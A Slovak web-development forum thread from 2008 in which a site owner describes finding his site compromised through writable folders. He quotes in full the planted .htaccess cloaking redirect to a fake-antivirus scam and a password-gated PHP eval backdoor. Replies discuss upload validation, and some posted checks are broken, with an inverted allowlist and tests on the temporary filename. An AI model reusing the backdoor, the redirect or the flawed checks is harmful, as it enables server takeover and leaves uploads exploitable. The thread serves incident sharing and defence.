| | |
| Stránka: 1 z 1
| [ Príspevkov: 24 ] | |
Autor | Správa |
---|
Registrovaný: 25.07.07 Prihlásený: 27.11.14 Príspevky: 217 Témy: 38 Bydlisko: Kálnica city | Napísal Matho: 21.12.2008 2:30 | |
|
Asi pred mesiacom som na svojom ftpčku objavil náhodou nejaké neznáme súbory. Nelogické názvy súborov a htaccess súbory, ktoré som na ftp neupoval ja. Dokazoval to i držiteľ súborov - www_data. Vtedy som si uvedomil, že nejaký útočník zneužil môj chmod 777 na viacerých priečinkoch, nahral do nich súbory , a pomocou htaccess súborov sa pokúšal presmerovať návštevníka do priečinku kafo/ex3/t.htm., kde sa mu zobrazila takáto stránka:
http://www.trustedsource.org/dynamic/bl ... Access.png
Vtedy som ešte detailnejšie nepreskúmal, čo chcel docieliť pomocou htaccess súborov. Po ich otvorení sa zdalo, že v nich nie sú žiadne údaje - na úvod súboru totiž pridal whitespaces, o čom svedčil scroller. Po zalomení riadkov som uvidel takýto kód:
Kód: # a0b4df006e02184c60dbf503e71c87ad RewriteEngine On RewriteCond %{HTTP_REFERER} ^http://([a-z0-9_\-]+\.)*(google|msn|yahoo|live|ask|dogpile|mywebsearch|yandex|rambler|aport|mail|gogo|poisk|alltheweb|fireball|freenet|abacho|wanadoo|free|club-internet|aliceadsl|alice|skynet|terra|ya|orange|clix|terravista|gratis-ting|suomi24)\. [NC] RewriteCond %{HTTP_REFERER} [?&](q|query|qs|searchfor|search_for|w|p|r|key|keywords|search_string|search_word|buscar|text|words|su|qt|rdata)\= RewriteCond %{HTTP_REFERER} ![?&](q|query|qs|searchfor|search_for|w|p|r|key|keywords|search_string|search_word|buscar|text|words|su|qt|rdata)\=[^&]+(%3A|%22) RewriteCond %{TIME_SEC} <59 RewriteRule ^.*$ /images/zmensene/kafo/ex3/t.htm [L] # a995d2cc661fa72452472e9554b5520c Našiel som i súbory ako nanofonger.php, joguk.php , oruceka.php, ruvadaz.php, ifu.php , všetky s rovnakým kódom: Kód: <?php error_reporting(1);global $HTTP_SERVER_VARS; function say($t) { echo "$t\n"; }; function testdata($t) { say(md5("testdata_$t")); }; echo "<pre>"; testdata('start'); if (md5($_POST["p"])=="aace99428c50dbe965acc93f3f275cd3"){ if ($code = @fread(@fopen($HTTP_POST_FILES["f"]["tmp_name"],"rb"),$HTTP_POST_FILES["f"]["size"])){ eval($code); }else{ testdata('f'); }; }else{ testdata('pass'); }; testdata('end'); echo "</pre>"; ?> Útočnik prešiel všetky priečinky na ftp a ziťoval, do ktorých by sa mu dali zapísať súbory. Túto chybu využil na uploadnutie nebezpečných súborov a všetkých návštevníkov, ktorý pristupovali na stránku z googla a najznámejších vyhľadávačov presmeroval na túto ním podvrhnutú stránku. Po jej otvorení mi začalo vyhadzovať javascript alerty, že môj pc môže byť napadnutý a odporúčalo mi stiahnuť program Antivirus 360. Po kliknutí na ok som bol presmerovaný na web tohto akože antivírusu, kde boli pripravené flash animácie kontroly disku. Upozornili ma , že sa mi v PC nachádzajú trojan a spyware a že si mám urýchlene stiahnuť ich produkt, ktorý mi ich pomôže odstrániť. Ťuknutím v gooli sa dalo zistiť, čo za program to v skutočnosti je. http://www.google.com/search?client=ope ... 8&oe=utf-8. Citácia: Program is very dangerous, it mark windows files as an infections or serious threats. The main purpose of it is to show pop-ups and suck money. About fixing of infections you can forget it wasn’t created for that. As a parasite, Antivirus360 can do many serious problems for users, slowdown computer, limit connection of internet, increase loses of personal data and even brake your machine. We recommend you scan your system with reputable spyware remover programs to avoid problems. Viac na http://www.2-spyware.com/remove-antivirus-360.htmlZrušil som teda chmod 777 na všetkých priečinkoch a rozhodol som sa mesiac počkať. Dúfal som, že sa táto pliaga na môj web už nevráti. Keďže som po mesiaci potreboval spustiť upload script tak som opäť povolil chmod 777, no pliaga sa vrátila späť a pokiaľ to neochránim ináč, tak sa aj bude. Veľa článkov nájdete cez google, tie užitočnejšie sú: http://blog.scansafe.com/journal/2008/7 ... ction.htmlhttp://www.trustedsource.org/blog/109/W ... cking-Bloghttp://solace.ucsd.edu/msgs/msg.ssjs?ms ... ssage=3839Takto nejak vyzerá hacknutá stránka. http://www.zone-h.net/defaced/2008/02/0 ... awocam.phpNa všetkých napadnutých stránkach sú md5 checksumy Kód: a0b4df006e02184c60dbf503e71c87ad 58b88a45be0d79102c748768ecb82d09 a995d2cc661fa72452472e9554b5520c takže po ich ťuknutí do googlu vám ujo google vypľuje zoznam takto napadnutých stránok. Čo je smutné, že sa táto pliaga začína rozširovať i po slovenských portáloch. Mala by sa teda venovať väčšia pozornosť pri zabezpečovaní webstránok, lebo nakoniec na to doplatia obe strany - návštevník, ktorému budú ukradnuté dáta z PC a portál, ktorý bude ukrátený o návštevníkov z vyhľadávačov. Skontrolujte si, či sa na vašom FTP nenachádzajú nejaké neznáme súbory, skontrolujte taktiež css a js súbory a v neposlednom rade htaccess súbory. Neodporúčam mať zapnuté directory listing. Citácia: To counter the attacks, ensure all PHP apps are updated to their most current versions and modify the php.ini (and Apache httpd.conf file if applicable) to set allow_url_fopen to off. (The default is on).
Kto vie, nech sa podelí s nami o spôsob lepšieho zabezpečenia pri upload scriptoch, nastaveniach atribútov a spôsobe akým možno predísť takémuto napadnutiu stránky. Slovenské portály, u ktorých som našiel md5 checksumy signalizujúce takéto napadnutie som už upozornil, uvidíme teda, ako si s tým poradia.
http://www.google.com/search?hl=sk&clie ... lr=lang_sk
|
|
Registrovaný: 20.11.07 Prihlásený: 18.01.09 Príspevky: 2929 Témy: 116 | Napísal dadmtb: 21.12.2008 10:48 | |
|
aj mna by zaujimalo ako to vyiesit bo ja musim mat zapnute 777 koli uploadu suborov teda ked to vypnem bude to v **** takze ako co teraz s tym?
|
|
Registrovaný: 30.05.06 Prihlásený: 28.06.15 Príspevky: 2278 Témy: 45 Bydlisko: ZA |
prepac, ale co to mas za upload script, ked ti umoznuje pridat napr *.php subory? sa potom nemozes cudovat, ze sa ti nieco taketo stalo
predsa prava na zapis niekde neznamenaju, ze si tam mozem nahadzat co chcem -> prvrade mas deravy tvoj kod
Naposledy upravil POM4R4NC dňa 21.12.2008 11:40, celkovo upravené 1
|
|
Registrovaný: 20.11.07 Prihlásený: 18.01.09 Príspevky: 2929 Témy: 116 | Napísal dadmtb: 21.12.2008 11:39 | |
|
pockat takze mne nic nehrozi ked ja tam nemam upload teda priamy od klienta ale upload vyuzivam iba na pridavanie noviniek mne sa toto nemoze stat? Dik
|
|
Registrovaný: 30.05.06 Prihlásený: 28.06.15 Príspevky: 2278 Témy: 45 Bydlisko: ZA |
ake pridavanie noviniek? novinky sa predsa pridavaju do db, nie?
Naposledy upravil POM4R4NC dňa 21.12.2008 12:06, celkovo upravené 2
|
|
Registrovaný: 07.03.06 Prihlásený: 23.01.11 Príspevky: 404 Témy: 2 Bydlisko: Prešov / Pr... | Napísal mylan: 21.12.2008 11:57 | |
|
Samotný chmod 777 nemôže spôsobiť to, že ti tam niekto nahrá čo chce. Chyba bude buď v kóde tvojej stránky, tj pravdepodobne tam niekde máš neošetrený upload skript, alebo v poslednej dobe často krát sa jedná aj o vírus, ktorý vyťahá heslá na ftp napríklad z total commandera.
Kedže píšeš, že sa to deje len pri chmod 777, zrejme to bude tým neošetreným php uploadom. Najčastejšou chybou pri týchto upload skriptoch je, že tvorca chce povoliť napríklad len nahrávanie obrázkov a tak pridá kontrolu podľa mime-type súboru. Na čo už nemyslí je fakt, že mime-type posiela prehliadač(tj klient, ktorý nahráva) a tak sa mime-type dá jednoducho zfalšovať a s mime-type "image/gif" sa dá nahrať aj php súbor.
To sú len domienky z ničoho. Ak to nebude táto základná chyba, ukáž nám kód a štruktúru tvojich skriptov, určite ti to tu opravíme.
dadmtb: pokiaľ, viem, na novinky používaš MNews a tam upload žiaden nie je(zatiaľ). Takže ti tam nemajú ako tie súbory nahrať(naozaj povolenie chmod 777 samo o sebe nepredstavuje bezpečnostné riziko).
|
|
Registrovaný: 25.07.07 Prihlásený: 27.11.14 Príspevky: 217 Témy: 38 Bydlisko: Kálnica city | Napísal autor témy Matho: 21.12.2008 11:58 | |
|
aha, takze mime typ... tak dobre vediet
|
|
Registrovaný: 30.05.06 Prihlásený: 28.06.15 Príspevky: 2278 Témy: 45 Bydlisko: ZA |
mylan: kontrola mime-type, ktoru posiela prehliadac, je samozrejme zbytocna, avsak mozes to kontrolovat na strane servera cez getimagesize()
samozrejme treba este kontrolovat priponu na zaklade whitelistu
avsak ani toto nie je 100%...
|
|
Registrovaný: 20.11.07 Prihlásený: 18.01.09 Príspevky: 2929 Témy: 116 | Napísal dadmtb: 21.12.2008 12:07 | |
|
mylan nj teda som nemyslel upload ale teda praca so suborom ale teda OK
|
|
Registrovaný: 07.03.06 Prihlásený: 23.01.11 Príspevky: 404 Témy: 2 Bydlisko: Prešov / Pr... | Napísal mylan: 21.12.2008 12:13 | |
|
POM4R4NC: samozrejme, mne sú riziká a kontroly pri uploade súborov jasné, ja som sa len snažil(zas a znova) uhádnuť chybu z vešteckej gule A zdá sa, vzhľadom na reakciu, že celkom úspešne...
|
|
Registrovaný: 25.07.07 Prihlásený: 27.11.14 Príspevky: 217 Témy: 38 Bydlisko: Kálnica city | Napísal autor témy Matho: 21.12.2008 12:16 | |
|
no ale podla googla vidim ze nie som sam ktory to mal takto nedostatocne ochranene... Dufam teda ze je to len kvoli tomu mojmu upload scritpu a ze po jeho opraveni sa mi tam uz nedostane.. Dam vediet.
A este na jednej z tych stranok co som dal v prispevku link pisali ze nastavit allow_url_fopen na off. Pomoze to?
|
|
Registrovaný: 20.03.08 Prihlásený: 08.03.17 Príspevky: 596 Témy: 149 Bydlisko: Houston, Texas | Napísal Unlink: 24.12.2008 16:39 | |
|
ja to používam nejak takto
Kód: $blacklist = array(".php", ".phtml", ".php3", ".php4"); foreach ($blacklist as $item) { if(preg_match("/$item\$/i", $_FILES["subor"]["tmp_name"])) { echo "We do not allow uploading PHP files\n"; exit; } }
$imageinfo = getimagesize($_FILES["subor"]["tmp_name"]); if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/png' && $imageinfo['mime'] != 'image/JPEG' && $imageinfo['mime'] != 'image/PNG') { echo "Sorry, we only images\n"; exit; } myslíte že to je postačujúce je to robené podla tohto článku Kód: http://blackhole.sk/topicupload-suborov-v-php-nebezpecne-gif-obrazky
|
|
Registrovaný: 20.11.07 Prihlásený: 18.01.09 Príspevky: 2929 Témy: 116 | Napísal dadmtb: 24.12.2008 17:04 | |
|
a keby tam dam php6 subor tak ho prepusti?
|
|
Registrovaný: 07.03.06 Prihlásený: 23.01.11 Príspevky: 404 Témy: 2 Bydlisko: Prešov / Pr... | Napísal mylan: 24.12.2008 18:07 | |
|
Namiesto blacklistu vytvor whitelist. Pri blackliste môžeš na niečo zabudnúť a je z toho problém. Ak zabudneš pri whiteliste, tak sa nič nedeje, maximálne niekto nenahrá napríklad .jpeg. Nevieš aké koncovky sú na servery povolené, čo ak tam majú samostatne php 5 a pre to samostatnú .php5 koncovku?
|
|
Registrovaný: 20.03.08 Prihlásený: 08.03.17 Príspevky: 596 Témy: 149 Bydlisko: Houston, Texas | Napísal Unlink: 24.12.2008 20:01 | |
|
dadmtb píše: a keby tam dam php6 subor tak ho prepusti?
nie pokiaľ nezmanipuluješ hlavičku pretože tá druhá časť ho zablokuje
a ako while list ako to mam urobit?
|
|
Registrovaný: 17.10.06 Prihlásený: 08.01.11 Príspevky: 1752 Témy: 17 | Napísal suchy: 24.12.2008 20:07 | |
|
blacklist definuje co je zakazane, naopak whitelist definuje co je povolene.
_________________ A Real Programmer might or might not know his wife's name. He does, however, know the entire ASCII code table. |
|
Registrovaný: 20.03.08 Prihlásený: 08.03.17 Príspevky: 596 Témy: 149 Bydlisko: Houston, Texas | Napísal Unlink: 24.12.2008 20:15 | |
|
a ako by som to mohol zapisat?
|
|
Registrovaný: 20.11.07 Prihlásený: 18.01.09 Príspevky: 2929 Témy: 116 | Napísal dadmtb: 24.12.2008 20:44 | |
|
mno ze spravis to iste ale iba tie subory ktore podporujes a nie opacne ktore nechces
|
|
Registrovaný: 16.10.08 Prihlásený: 26.07.16 Príspevky: 82 Témy: 12 | Napísal uUsErR: 29.12.2008 18:22 | |
|
Citácia: $blacklist = array(".php", ".phtml", ".php3", ".php4");
Hej miso2...... musis si vytvorit whitelist, pretoze sa vytvaraju nove subory napr. nemas tam zaradene .php5 subory ktore tiez existuju. Cize POZOR !
|
|
Registrovaný: 09.07.08 Prihlásený: 17.01.15 Príspevky: 1585 Témy: 96 |
a čo takto .htaccess? Tiež sa prihováram za whitelist
_________________ neříkejte, že něco nejde udělat, protože se vždycky najde nějaký blbec, co neví, že to nejde – a udělá to! |
|
Registrovaný: 20.03.08 Prihlásený: 08.03.17 Príspevky: 596 Témy: 149 Bydlisko: Houston, Texas | Napísal Unlink: 30.12.2008 7:42 | |
|
tak pls napíšte mi kód toho whilelistu
bo ja to mam takto len neviem či to je dobre
Kód: $whitelist = array(".png", ".jpg", ".jpeg", ".gif"); foreach ($whitelist as $item) { if(preg_match("/$item\$/i", $_FILES["subor"]["tmp_name"])) { echo "only images\n"; exit; } }
|
|
Registrovaný: 09.07.08 Prihlásený: 17.01.15 Príspevky: 1585 Témy: 96 |
Kód: if(in_array($pripona,$zoznam_pripon)){ $povolene[]=$subor; }
Odvíjaj sa od funkcie in_array()
_________________ neříkejte, že něco nejde udělat, protože se vždycky najde nějaký blbec, co neví, že to nejde – a udělá to! |
|
Registrovaný: 20.03.08 Prihlásený: 08.03.17 Príspevky: 596 Témy: 149 Bydlisko: Houston, Texas | Napísal Unlink: 30.12.2008 8:53 | |
|
nechapem
|
|
Registrovaný: 30.05.06 Prihlásený: 28.06.15 Príspevky: 2278 Témy: 45 Bydlisko: ZA |
php sice neumim, ale asi to bude tak, ze nemusis prechadzat vsetky prvky pola a porovnavat s priponou suboru, ale rovno porovnas priponu s cely polom(in_array asi zistuje, ci sa dany prvok nachadza v poli)
|
|
| Stránka: 1 z 1
| [ Príspevkov: 24 ] | |
| Nemôžete zakladať nové témy v tomto fóre Nemôžete odpovedať na témy v tomto fóre Nemôžete upravovať svoje príspevky v tomto fóre Nemôžete mazať svoje príspevky v tomto fóre
|
|